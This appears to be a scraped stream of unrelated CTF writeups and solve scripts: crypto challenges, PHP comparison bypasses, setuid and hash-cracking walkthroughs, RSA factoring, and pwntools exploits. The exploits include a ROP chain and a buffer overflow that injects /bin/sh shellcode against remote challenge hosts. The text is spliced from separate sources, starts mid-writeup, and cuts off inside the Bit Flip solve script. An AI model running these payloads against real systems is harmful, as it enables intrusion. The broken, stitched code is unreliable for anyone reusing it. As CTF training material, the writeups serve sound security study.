```$ curl http://34.72.245.53/Web/Machine/robots.txtUser-agent: *Allow: /var/www/html/Disallow: /mkiujnbhytgbvfr.html$ curl http://34.72.245.53/Web/Machine/mkiujnbhytgbvfr.htmlshaktictf{7h3_3nch4n7r355_0f_Nu3b3r}```
Writeup for solved challenge in DragonSectorCTF 2020 # **CRYPTO** ## Bit Flip I-:> description: Flip bits and decrypt communication between Bob and Alice. `nc bitflip1.hackable.software 1337` [task.tgz](assets/task.tgz) ```python#!/usr/bin/python3 from Crypto.Util.number import bytes_to_long, long_to_bytesfrom Crypto.Cipher import AESimport hashlibimport osimport base64from gmpy2 import is_prime FLAG = open("flag").read()FLAG += (16 - (len(FLAG) % 16))*" " class Rng: def __init__(self, seed): self.seed = seed self.generated = b"" self.num = 0 def more_bytes(self): self.generated += hashlib.sha256(self.seed).digest() self.seed = long_to_bytes(bytes_to_long(self.seed) + 1, 32) self.num += 256 def getbits(self, num=64): while (self.num < num): self.more_bytes() x = bytes_to_long(self.generated) self.num -= num self.generated = b"" if self.num > 0: self.generated = long_to_bytes(x >> num, self.num // 8) return x & ((1 << num) - 1) class DiffieHellman: def gen_prime(self): prime = self.rng.getbits(512) iter = 0 while not is_prime(prime): iter += 1 prime = self.rng.getbits(512) print("Generated after", iter, "iterations") return prime def __init__(self, seed, prime=None): self.rng = Rng(seed) if prime is None: prime = self.gen_prime() self.prime = prime self.my_secret = self.rng.getbits() self.my_number = pow(5, self.my_secret, prime) self.shared = 1337 def set_other(self, x): self.shared ^= pow(x, self.my_secret, self.prime) def pad32(x): return (b"\x00"*32+x)[-32:] def xor32(a, b): return bytes(x^y for x, y in zip(pad32(a), pad32(b))) def bit_flip(x): print("bit-flip str:") flip_str = base64.b64decode(input().strip()) return xor32(flip_str, x) alice_seed = os.urandom(16) while 1: alice = DiffieHellman(bit_flip(alice_seed)) bob = DiffieHellman(os.urandom(16), alice.prime) alice.set_other(bob.my_number) print("bob number", bob.my_number) bob.set_other(alice.my_number) iv = os.urandom(16) print(base64.b64encode(iv).decode()) cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) enc_flag = cipher.encrypt(FLAG) print(base64.b64encode(enc_flag).decode())``` ### Solution: On analysing the challenge script we can deduce that [Diffie Hellman Key exchange](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) was done by Bob with alice multiple times. We only have the control over bit-flip and as the challenge description suggested we have to make the use of it to get the alice seed (because recovering seed for Bob is not easy). There's a strange piece of information was given to us in the form of number of iterations used to calculate prime. Let's have a look over Rng as how prime was generated:In getbits function, this block was never visited when 512 is sent to self.num:```pythonif self.num > 0: self.generated = long_to_bytes(x >> num, self.num // 8)```thus allowing self.generated to be clean again for the next call . That's the flaw in the code which means prime for seed = i and i+2 will be same. Manually testing the code:```seed = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Generated after 83 iterations prime = 3217336996812784199323541050098699361781489187527078355681535168764692913032949200158631425936108602790839091441050033248993143847385123136499734649619637 seed = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' Generated after 82 iterations prime = 3217336996812784199323541050098699361781489187527078355681535168764692913032949200158631425936108602790839091441050033248993143847385123136499734649619637 ``` So if we flip the second last bit then it's 0 if the iteration count decreased otherwise 1. The implementation for rest of the bytes are tricky and in the end we have to brute for the last byte as its either 0 or 1. #### Implementation: Suppose we find upto X'th bit , then we have to guess for `.....x10100b`            (last bit is b and it's undecided)we can have iteration count                                           for `.....x00000b`and                                                                                  for `.....011111b`            (by flipping the bits) as the difference between them is 2 so we will have one less iteration count if the bit was 1 otherwise 0. Solution [script](/solve.py): In beginning we have to solve POW which is same as asked in [GoogleCTF'17](https://github.com/google/google-ctf/blob/master/2017/quals/2017-pwn-cfi/challenge/hashcash.py).```pythonfrom pwn import *from base64 import *from Crypto.Util.number import *from Crypto.Cipher import AESimport subprocessfrom task import Rng , DiffieHellman def POW(r): print("----------Solving POW-----------") command = r.recv().strip().split(b": ")[-1] hashed = subprocess.check_output(command,shell=True).strip() r.sendline(hashed) print("----------Solved----------------") def sendloop(r,i: int): r.recv() a = b64encode(long_to_bytes(i,32)) r.sendline(a) iters = int(r.recvline().strip().split(b" ")[2]) bob_number = int(r.recvline().strip().split(b" ")[-1]) # bob number iv = b64decode(r.recvline().strip()) # IV ciphertext = b64decode(r.recvline().strip()) # ciphertext return iters,bob_number,iv,ciphertext def get_flag(seed,bob_number,iv,ciphertext): alice = DiffieHellman(long_to_bytes(int(seed,2))) shared = pow(bob_number,alice.my_secret,alice.prime) cipher = AES.new(long_to_bytes(shared,16)[:16] , AES.MODE_CBC , IV= iv) flag = cipher.decrypt(ciphertext) return flag r = remote("bitflip1.hackable.software",1337)POW(r)bits = "" for pos in range(1,128): nums = 0 if bits=='' else int(bits,2)*2 flippedbit = 1<
The challenge give us a file "decode.me" with the following content: > 554545532245{22434223_4223_42212322_55_234234313551_34553131423344} I assumed that substitution cipher is used. Trying to fit the content of the file in flag format *AFFCTF{...}*, I assumed that each group of 2 numbers stands for 1 character, and I replaced the numbers in this way: 55 -> A 53 -> C 45 -> F 22 -> T A F F C T F { T 43 42 23_42 23_42 21 23 T _ A _23 42 34 31 35 51_34 A 31 31 42 33 44} Then, I assumed that the first two words inside the parentheses are "THIS" and "IS". So, I replaced the numbers in this way: 43 -> H 42 -> I 23 -> S A F F C T F {T H I S _I S _I 21 S T _A _S I 34 31 35 51_34 A 31 31 I 33 44} Going ahead by assuming the most probable characters, since this seems to be a kind of decreasing mapping, I replaced the remaining numbers like this: 51 -> E 44 -> G 35 -> L 34 -> M 33 -> N 31 -> P 21 -> U The flag is: **AFFCTF{THIS_IS_IUST_A_SIMPLE_MAPPING}**
# shebang5 ![Shebang](https://img.shields.io/badge/Shebang--ff00ff?style=for-the-badge) ![Points - 250](https://img.shields.io/badge/Points-250-9cf?style=for-the-badge) ```txtthere is a very bad file on this Server. can yoU fInD it. - stephencurry396#4738``` --- The description hints at the linux `uid` having some relevance here... Perhaps a binary using `setuid`? ... Let's check it out: ```bashfind / -perm /4000 2>/dev/null``` ![setuid](./setuid.png) ... _hmm_ ... this one doesn't look right... `/var/cat` is definitely not a default linux binary... from the name we concluded that it could probably be used to print a file's contents to the terminal... but what file do we want to print? ... after doing some searching ... we figured out that SSH user's passwords were all stored in the directory `/etc/passwords` ... including one of a user that didn't even have a challenge - coincidentally that was the same user that owns the `/var/cat` binary... With this info, you are able to get the flag. Simply use ... ```bash/var/cat /etc/passwords/shebang6``` ... _tadaa_... the flag is: `CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}`
# PharAway:Web Exploitation:100ptsExplaining the Analytical Engine's function was a difficult task, bypass the basic php to see what she tried to explain Link: [http://34.72.245.53/Web/PHPhar/](http://34.72.245.53/Web/PHPhar/) [index.php](index.php) # Solutionindex.phpが配られる。 中身は以下のようであった。 ```php:index.php3){ }if($a>900000000){ echo "<h1>".$flag[0]."</h1>";}#------------------------------------------------------------------------------------------------------------------$_p = 1337;$_l = 13;$l = strlen($_GET['secret']);$_i = intval($_GET['secret']);if($l !== $_l || $_i !== $_p) { die("bye");}echo "<h1>".$flag[1]."</h1>"; #-----------------------------------------------------------------------------------------------------------------------if (isset($_GET['a']) and isset($_GET['b'])) { if ($_GET['a'] === $_GET['b']) print 'Your password can not be your dog\'s name.'; else if (sha1($_GET['a']) === sha1($_GET['b'])) echo "<h1>".$flag[2]."</h1>"; else print 'Invalid password.';}#-----------------------------------------------------------------------------------------------------------------------------if (!isset($_GET["md4"])){ die();} Invalid password. if ($_GET["md4"] == hash("md4", $_GET["md4"])){ echo "<h1>".$flag[3]."</h1>";}else{ echo "bad";} #----------------------------------------------------------------------------------------------------------------------------- if (isset($_GET['abc'])){ if (!strcasecmp ($_GET['abc'], $flag[4])){ echo $flag[4];}} ?>```段階的にロックを解除していくようだ。 一段階目は以下になる。 ```php$a=$_GET['flag0'];if(strlen($a)>3){ }if($a>900000000){ echo "<h1>".$flag[0]."</h1>";}```flag0が長さ3より大きく、900000000より大きければよい。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://34.72.245.53/Web/PHPhar/?flag0=900000001" <h1>shaktictf{</h1>bye```二段階目は以下になる。 ```php$_p = 1337;$_l = 13;$l = strlen($_GET['secret']);$_i = intval($_GET['secret']);if($l !== $_l || $_i !== $_p) { die("bye");}echo "<h1>".$flag[1]."</h1>";```secretが長さ13で、先頭が1337始まりである文字列であれば良い。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://34.72.245.53/Web/PHPhar/?flag0=900000001&secret=1337aaaaaaaaa" <h1>shaktictf{</h1><h1>An4ly71c4l_</h1>```三段階目は以下になる。 ```phpif (isset($_GET['a']) and isset($_GET['b'])) { if ($_GET['a'] === $_GET['b']) print 'Your password can not be your dog\'s name.'; else if (sha1($_GET['a']) === sha1($_GET['b'])) echo "<h1>".$flag[2]."</h1>"; else print 'Invalid password.';}```aとbが厳密に一致しておらず、二つの`sha1`が厳密に一致していればよい。 `sha1`は配列が渡された場合、NULLを返す。 つまり、aとbを異なる配列にしてやればよい。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://34.72.245.53/Web/PHPhar/?flag0=900000001&secret=1337aaaaaaaaa&a[]=a&b[]=b" Invalid password. <h1>shaktictf{</h1><h1>An4ly71c4l_</h1><h1>Eng1n3</h1>```四段階目は以下になる。 ```phpif (!isset($_GET["md4"])){ die();} if ($_GET["md4"] == hash("md4", $_GET["md4"])){ echo "<h1>".$flag[3]."</h1>";}else{ echo "bad";}```厳密でない比較なので、0e始まりで残りが数字であるものは0として扱われる。 入力とハッシュ値が0e始まりであり、それ以外が数字であるものを探す。 md4では、入力`0e251288019`、ハッシュ値`0e874956163641961271069404332409`が知られている。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://34.72.245.53/Web/PHPhar/?flag0=900000001&secret=1337aaaaaaaaa&a[]=a&b[]=b&md4=0e251288019" <h1>shaktictf{</h1><h1>An4ly71c4l_</h1><h1>Eng1n3</h1><h1>!=D1ff3r3nc3</h1>```最終段階は以下になる。 ```phpif (isset($_GET['abc'])){ if (!strcasecmp ($_GET['abc'], $flag[4])){ echo $flag[4];}}````strcasecmp`は第一引数に配列を渡すとNULLが返ってくる。 つまり、第三段階と同じことを行う。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://34.72.245.53/Web/PHPhar/?flag0=900000001&secret=1337aaaaaaaaa&a[]=a&b[]=b&md4=0e251288019&abc[]=abc" <h1>shaktictf{</h1><h1>An4ly71c4l_</h1><h1>Eng1n3</h1><h1>!=D1ff3r3nc3</h1>_Eng1n3}```Web問なのでアクセスするともちろんflagが表示される(ここからコピーすると楽)。 flag [flag.png](site/flag.png) ## shaktictf{An4ly71c4l_Eng1n3!=D1ff3r3nc3_Eng1n3}
# Oh Sheet> Points: 200 > Solved by r3yc0n1c ## Description> Someone very cheeky decided to encrypt their secret message in Google Sheets. What could they be hiding in plain sight? > Curious! Click on the link below to find out more: > [https://docs.google.com/spreadsheets/d/15PFb_fd6xKVIJCF0b0XiiNeilFb-L4jm2uErip1woOM/edit#gid=0](https://docs.google.com/spreadsheets/d/15PFb_fd6xKVIJCF0b0XiiNeilFb-L4jm2uErip1woOM/edit#gid=0) ## Solution### Copy and Clear* Make a copy of the Sheet - [Copy of Oh Sheet!](https://docs.google.com/spreadsheets/d/1aYVG9C1-bqtysSSLKuJRA3WoekFO-fTpDww_Lt8VeII/edit?usp=sharing) (without formatting)* Clear the formatting [ Format > Clear Formatting ] because they hid some texts by changing the text color to white.### The Encryption* It uses the Special Functions (e.g. **MID**, **INFERIOR**, **FIND**, etc.) in Google Sheet to encrypt the plaintext.* Refer to the [script](apex.py) for details.### Decryption* Generate the keyspace and try all combos.* My python script ([apex.py](apex.py)) to decrypt it.### Output* I used [pypy3](https://www.pypy.org/) for the first time on windows 10 machine to do this brute-force [[it's relatively faster](https://stackoverflow.com/questions/59050724/whats-the-differences-python3-and-pypy3#:~:text=On%20a%20suite%20of%20benchmarks,in%20beta%2C%20targets%20Python%203.)] ```cmdC:\Users\rey\Desktop\pypy3.7-v7.3.2-win32>pypy3.exe C:\Users\rey\Desktop\x.py [+] Generating keyspace... ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't']['q']['b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p']['f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n'] ['c']['q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']['d', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] [+] Starting Brute-force...kqjarbcsd -> y hovk evoppogxarlo -> 19kqjarbcse -> y hovk etoppogxarjo -> 19kqjarbcsf -> y hovk eroppogxarho -> 19kqjarbcsg -> y hovk epoppogxarfo -> 19kqjarbcsh -> y hovk enoppogxardo -> 19. . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . .tqzpyncxl -> g bkhm ufwpjkszahvw -> 19tqzpyncxm -> g bkhm udwpjkszahtw -> 19tqzpyncxo -> g bkhm uzwpjkszahpw -> 19tqzpyncxr -> g bkhm utwpjkszahjw -> 19tqzpyncxs -> g bkhm urwpjkszahhw -> 19C:\Users\rey\Desktop\pypy3.7-v7.3.2-win32>pypy3.exe C:\Users\rey\Desktop\x.py > flag.txt ```## Find a needle in a haystack* The haystack - [flag.txt](flag.7z)* The Sheet hinted - `Note that the key consists of lowercase letters, and has no repeated letters. It is 9 characters long. Order of characters matters!`. I searchedfor **1 letter words in english** and found ***i*** and ***a*** (makes sense!)* Searched for ***i*** related strings and the first result was `sqjarbctd -> i hovk cvyppogxaply -> 19`.* Made a wild guess that the plaintext may be `i love cryptography` and got the key `squarectf`. ## Flag> **flag{squarectf}**
# We Will Rock You**Category: hash cracking** **Points: 20** ## DescriptionWe are given the hash `0a5a0a121c309891420d117b7efc169d78ec233351e2b86b9778df7af3bd8a5e82ab3d3715b7fa405cca193dc7c6e484acec3bdf343ea94667c6be451a508e9a` to crack. The flag is in the format `H2G2{<password>}`. ## SolutionThe title of the challenge hints at the rockyou.txt wordlist. Looking at the hash, it has 128 characters. It is most likely a SHA-512 or Whirlpool hash. We can use this website https://www.onlinehashcrack.com/hash-identification.php to identify it. ![hash types](hash-types.png) We can then use john the ripper to crack the hash. First I tried john with SHA-512 format.```$ john --format=raw-sha512 --wordlist=/usr/share/wordlists/rockyou.txt hash```No result. After that I tried whirpool as the format. ```$ john --format=whirlpool --wordlist=/usr/share/wordlists/rockyou.txt hash```This is the output. We can see the password is ilovejohnny.```Proceeding with single, rules:SinglePress 'q' or Ctrl-C to abort, almost any other key for statusAlmost done: Processing the remaining buffered candidate passwords, if any.Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlistilovejohnny (?)1g 0:00:00:00 DONE 2/3 (2020-11-30 04:17) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s chatty..dyesebelUse the "--show" option to display all of the cracked passwords reliablySession complete```FLAG - `H2G2{ilovejohnny}`
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Password%201.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Password%201.md) ----- # Password 1 ![Category](http://img.shields.io/badge/Category-Reverse%20Engineering-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-125-brightgreen?style=for-the-badge) ## Details ![Details](https://github.com/CTSecUK/CyberYoddha-CTF-2020/raw/main/images/password_1_details.png) ```pythonimport random def checkPassword(password): if(len(password) != 43): return False if(password[26] == 'r' and password[33] == 't' and password[32] == '3' and password[16] == '3' and password[4] == 'F' and password[21] == 'r' and password[38] == '1' and password[18] == 'c' and password[22] == '@' and password[31] == 'g' and password[7] == 'u' and password[0] == 'C' and password[6] == 'p' and password[39] == '3' and password[3] == 'T' and password[25] == '3' and password[29] == 't' and password[42] == '}' and password[12] == 'g' and password[23] == 'c' and password[30] == '0' and password[40] == '3' and password[28] == '_' and password[20] == '@' and password[27] == '$' and password[17] == '_' and password[35] == '3' and password[8] == '7' and password[24] == 't' and password[41] == '7' and password[13] == '_' and password[5] == '{' and password[2] == 'C' and password[11] == 'n' and password[9] == '7' and password[15] == 'h' and password[34] == 'h' and password[1] == 'Y' and password[10] == '1' and password[37] == '_' and password[14] == 't' and password[36] == 'r' and password[19] == 'h'): return True return False password = input("Enter password: ")if(checkPassword(password)): print("PASSWORD ACCEPTED\n")else: print("PASSWORD DENIED\n")``` Here we can see the flag is locate in the `checkPassword()` funtion, but is all jumbled up. We copy these lines to a new file, and add 0's in front of any single digit references (this is to enable the sorting to work correctly); ```password[26] == 'r'password[33] == 't'password[32] == '3'password[16] == '3'password[04] == 'F'password[21] == 'r'password[38] == '1'password[18] == 'c'password[22] == '@'password[31] == 'g'password[07] == 'u'password[00] == 'C'password[06] == 'p'password[39] == '3'password[03] == 'T'password[25] == '3'password[29] == 't'password[42] == '}'password[12] == 'g'password[23] == 'c'password[30] == '0'password[40] == '3'password[28] == '_'password[20] == '@'password[27] == '$'password[17] == '_'password[35] == '3'password[08] == '7'password[24] == 't'password[41] == '7'password[13] == '_'password[05] == '{'password[02] == 'C'password[11] == 'n'password[09] == '7'password[15] == 'h'password[34] == 'h'password[01] == 'Y'password[10] == '1'password[37] == '_'password[14] == 't'password[36] == 'r'password[19] == 'h'``` Then we can use this command: `sort data.txt | grep -Po '.(?=.{1}$)' | awk '{print}' ORS=''`, to **sort**, **grep** and **arrange** the strings onto one line The output can be seen below; ```[jaxigt@MBA password_1]$ sort data.txt | grep -Po '.(?=.{1}$)' | awk '{print}' ORS=''CYCTF{pu771ng_th3_ch@r@ct3r$_t0g3th3r_1337}``` And there's our Flag; ## CYCTF{pu771ng_th3_ch@r@ct3r$_t0g3th3r_1337}
like IoT challenge you can find the right function in the same link below: https://techtutorialsx.com/2017/04/09/esp8266-connecting-to-mqtt-broker/ flag is **client.connect()**
```python from pwn import *context.log_level='debug'# flag = 0x400891 # p = process('./chall')p = remote('34.72.218.129','4444')elf = ELF('./chall')rop = ROP(elf)pop_rsi_r15 =0x0000000000400a91p.sendlineafter(">> ",'1')# gdb.attach(p) payload = 'A'*40payload += p64(elf.sym['assert'])payload += p64(rop.rdi[0])payload += p64(0xDEADBEEF)payload += p64(elf.sym['setValue'])payload += p64(rop.rdi[0])payload += p64(0xDEADC0DE)payload += p64(pop_rsi_r15)payload += p64(0xDEAD10CC)payload += p64(0)payload += p64(elf.sym['flag']) p.sendlineafter('name:\n',payload) p.interactive()```
```pythonfrom pwn import *context.binary='./chall'# p = process('./chall') p = remote('34.72.218.129',3333)p.recvuntil('detected:\n') buf = int(p.recvline().strip(),16) print hex(buf)shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" p.recvuntil('action:\n') payload = p32(0)payload += shellcodepayload = payload.ljust(40,'\x01')payload += p32(0)+p64(0x90908E69)payload = payload.ljust(0x48,'\x90')payload += p64(buf+4) print hex(len(payload)) # gdb.attach(p)p.sendline(payload) p.interactive() ````
```from pwn import *def sort_vet(x): s = '' for i in range(len(x)): for j in range(len(x) - 2, -1, -1): if x[j] > x[j + 1]: x[j], x[j + 1] = x[j + 1], x[j] s = s + str(j) + ' ' return snc = remote('challenges.ctfd.io', 30267)nc.sendlineafter('Enter 1, 2, 3, 4, or 5.\n', '1')nc.recvline()nc.recvline()nc.recvline()nc.recvline()x = nc.recvline().decode().strip().replace(' ', '').split(',')nc.recv()nc.sendline(sort_vet(x))nc.recvline()nc.recvline()nc.recvline()nc.recvline()nc.recvline()nc.recvline()x = nc.recvline().decode().strip().replace(' ', '').split(',')nc.recv()nc.sendline(sort_vet(x))nc.recvline()nc.recvline()nc.recvline()nc.recvline()nc.recvline()nc.recvline()x = nc.recvline().decode().strip().replace(' ', '').split(',')nc.recv()nc.sendline(sort_vet(x))print(nc.recv().decode())``````[x] Opening connection to challenges.ctfd.io on port 30267[x] Opening connection to challenges.ctfd.io on port 30267: Trying 159.203.148.124[+] Opening connection to challenges.ctfd.io on port 30267: DoneException: ''Here's what the robot did:Burdock Root, Chana Dal, Leeks, Moth Beans, Water Chestnut???????? That's correct!! ????????nactf{1f_th3r3s_4_pr0b13m_13ttuce_kn0w_db4d736fd28f0ea39ec}``````nactf{1f_th3r3s_4_pr0b13m_13ttuce_kn0w_db4d736fd28f0ea39ec}```
```from pwn import *data = []for i in range(10): nc = remote('encoderbase.ctf.cert.unlp.edu.ar', 5002) while True: s = nc.recvline().decode().strip() if '[' in s: break data.append(eval(s)) char = ''for i in range(ord('!'), ord('}') + 1): char += chr(i)flag = [''] * len(data[0])for i in range(len(data)): for j in range(len(data[i])): for c in char: if data[i][j] % ord(c) == 0: flag[j] += cs = ''for n in flag: n = list(n) c = {} k = '-' for x in n: if x not in c: c[x] = n.count(x) if c[x] == 10: k = x s += kprint(s)``````[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Done[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5002: Doneflag{n0_impl3m3nt3s_tU_pr0p14_cr1pt0!!}-``````flag{n0_impl3m3nt3s_tU_pr0p14_cr1pt0!!}```
First let's get the Modulus `N`. ```console$ openssl rsa -in public.pem -text -inform PEM -pubin -text Public-Key: (256 bit)Modulus: 00:be:5f:67:0c:7c:df:cc:0b:d3:41:12:d3:bd:71: 22:9f:d3:e4:46:e5:31:bf:35:16:03:6c:12:58:33: 6f:6c:51Exponent: 65537 (0x10001)writing RSA key-----BEGIN PUBLIC KEY-----MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAL5fZwx838wL00ES071xIp/T5EblMb81FgNsElgzb2xRAgMBAAE=-----END PUBLIC KEY----- ``` Now convert that into integer. ```console$ python3 -c "print(int(('00:be:5f:67:0c:7c:df:cc:0b:d3:41:12:d3:bd:71:22:9f:d3:e4:46:e5:31:bf:35:16:03:6c:12:58:33:6f:6c:51'.replace(':', '')), 16))" 86108002918518428671680621078381724386896258624262971787023054651438740237393``` Since N is small, so it can be factorised easily. By using [FactorDB](http://factordb.com) we can get p and q. `p = 286748798713412687878508722355577911069``q = 300290718931931563784555212798489747397` Now we have `N`, `p`, `q` and `e` we can calculate the private exponent `d` easily. `d = (e**-1) mod (p-1)*(q-1)` ```pythone = 65537p = 286748798713412687878508722355577911069q = 300290718931931563784555212798489747397d = pow(e, -1, (p-1)*(q-1))print(d)``` which outputs ``` 52563235496868154743721179285926106867856121268586368115409795819089744895137```. Now we have to make a PEM file out of this. After searching for a long time I can't get a way through it (I tried `RSA.construct()` method several times but it gave me an error). So I decided to make this into a DER file and then convert it to a PEM and then decrypt the flag. One way to do this is to generate a DER encoded key using OpenSSL's `asn1parse` command's `-genconf` option. But first we need to make an input file and calculate some more values, specifically, `d mod (p-1)` called `e1`, `d mod (q-1)` know as `e2` and `(q**-1) mod p` called as `coeff` (short for coefficient). ```pythone = 65537p = 286748798713412687878508722355577911069q = 300290718931931563784555212798489747397d = pow(e, -1, (p-1)*(q-1)) print('e1 =', d % (p-1))print('e2 =', d % (q-1))print('coeff =', pow(q, -1, p))``` ```e1 = 158375364557874163650127107177698912781e2 = 13741426462561038188960145920360571165coeff = 43340310015875206124799642386915239847``` Now the input file will be : ```consoleasn1=SEQUENCE:rsa_key [rsa_key]version=INTEGER:0modulus=INTEGER:86108002918518428671680621078381724386896258624262971787023054651438740237393pubExp=INTEGER:65537privExp=INTEGER:52563235496868154743721179285926106867856121268586368115409795819089744895137p=INTEGER:286748798713412687878508722355577911069q=INTEGER:300290718931931563784555212798489747397e1=INTEGER:158375364557874163650127107177698912781e2=INTEGER:13741426462561038188960145920360571165coeff=INTEGER:43340310015875206124799642386915239847``` I named it as `derfile.txt`. Now to make a DER file, run : ```console$ openssl asn1parse -genconf derfile.txt -out private.der``` Let's convert DER to PEM : ```console$ openssl rsa -inform DER -outform PEM -in private.der -out private.pem writing RSA key``` Now finally decrypt the flag : ```console$ openssl rsautl -decrypt -inkey private.pem -in encrypted.txt AFFCTF{PermRecord}```Voila ! We get the flag ! Flag : `AFFCTF{PermRecord}`
# AuthEN:Web Exploitation:50ptsAda is important to the world, she is important for a reason Link: [http://104.198.67.251/authen](http://104.198.67.251/authen) # SolutionURLを開くと登録フォームのようだが、登録(ログイン?)できない。 Register [site.png](site/site.png) ソースを見ると以下の記述があった。 ```html~~~ <script> $(“.c_submit”).click(function(event) { event.preventDefault() var email = $(“#cuser”).val(); var password = $(“#cpass”).val(); if(username == “admin” && password == String.fromCharCode(115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125)) { if(document.location.href.indexOf(“?password=”) == -1) { document.location = document.location.href + “?password=” + password; } } else { $(“#cresponse”).html(“<div class=’alert alert-danger’>Wrong password sorry.</div>”); } }) </script>~~~```passwordが知りたいため、以下のように文字列にする。 ```bash$ node> String.fromCharCode(115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125)'shaktictf{b3y0nd_pur3_c4lculati0ns}'```flagが得られた。 ## shaktictf{b3y0nd_pur3_c4lculati0ns}
```from pwn import *from base64 import *nc = remote('encoderbase.ctf.cert.unlp.edu.ar', 5001)while True: s = nc.recvline().decode().strip() if 'flag' in s: print(s) break if 'Encode next string' in s: print(s) f = s[-10:-1] print(f) s = nc.recvline().decode().strip() print(s) e = eval(f + '(' + "b'" + s + "'" + ')') print(e) nc.sendline(e) s = nc.recvline().decode().strip() print(s)``````[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5001[x] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5001: Trying 200.10.100.49[+] Opening connection to encoderbase.ctf.cert.unlp.edu.ar on port 5001: DoneEncode next string with b16encode:b16encodegomab'676F6D61'Nice!Encode next string with b32encode:b32encodediscob'MRUXGY3P'Nice!Encode next string with b85encode:b85encodecertezab'V`Xx5WqM%'Nice!Encode next string with b32encode:b32encodebrujab'MJZHK2TB'Nice!.........Encode next string with b85encode:b85encodecupulab'V|8$KY+('Nice!Encode next string with b85encode:b85encodegiganteb'XK80)Zggb'Nice!Genius!! 